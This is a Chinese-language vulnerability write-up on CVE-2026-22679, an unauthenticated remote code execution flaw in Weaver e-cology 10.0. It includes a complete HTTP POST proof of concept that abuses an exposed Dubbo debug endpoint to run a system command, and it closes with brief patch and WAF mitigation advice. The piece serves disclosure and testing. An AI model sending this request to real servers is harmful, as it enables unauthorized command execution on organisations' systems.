**0x01漏洞介绍**

![图片](/media/202609/7767a98b63e04ff08e89c3d4278a72f39526.png)

Weaver e-cology是中国Weaver公司的一套协同管理应用平台。

Weaver e-cology 10.0 20260312之前版本存在访问控制错误漏洞，该漏洞（CVE-2026-22679，CVSS评分：9.8）属于未经身份验证的远程代码执行问题，影响2026年3月12日之前发布的泛微E-cology 10.0版本。漏洞存在于 /papi/esearch/data/devops/dubboApi/debug/method 接口，攻击者可通过调用暴露的调试功能执行任意命令。

![Image](/media/202609/83d706c7a0b24d81b90a82dfb8a8074a3346.png)

**0x02影响版本**

Weaver e-cology 10.0 20260312之前版本【漏洞成因接口未授权，传参未过滤】

**利用条件：**

网络可达

![图片](/media/202609/351131ef03104d1a8f9294ba51cc59cd8038.png)

![Image](/media/202609/d1b74da45da3414d9a5a0e6cab195f457027.png)

**0x01漏洞复现**

1.访问环境

![图片](/media/202609/297198a6d99343d4a74c55744b846f711179.png)

2.漏洞利用

```
POST /papi/esearch/data/devops/dubboApi/debug/method?interfaceName=cn.hutool.core.util.RuntimeUtil&methodName=execForStr HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Connection: keep-alive
Content-Type: application/json;charset=utf-8
Accept-Encoding: gzip, deflate, br
Content-Length: 8

[["id"]]

```

漏洞测试，成功执行id命令

![图片](/media/202609/b93b4a38fe3947e481d98d9e7b1b41036244.png)

3.Yakit测试漏洞存在

![图片](/media/202609/13a23f1339db40a08b2cbea4a46526e23377.png)

![Image](/media/202609/1b93263662364eec89e41b9d4e3b784c6070.png)

**0x0**4修复建议****

目前厂商已发布升级补丁以修复漏洞，补丁获取链接：

临时缓解措施：

安全防御设备WAF、IPS、防火墙等阻断攻击行为。

CVE-2026-22679泛微RCE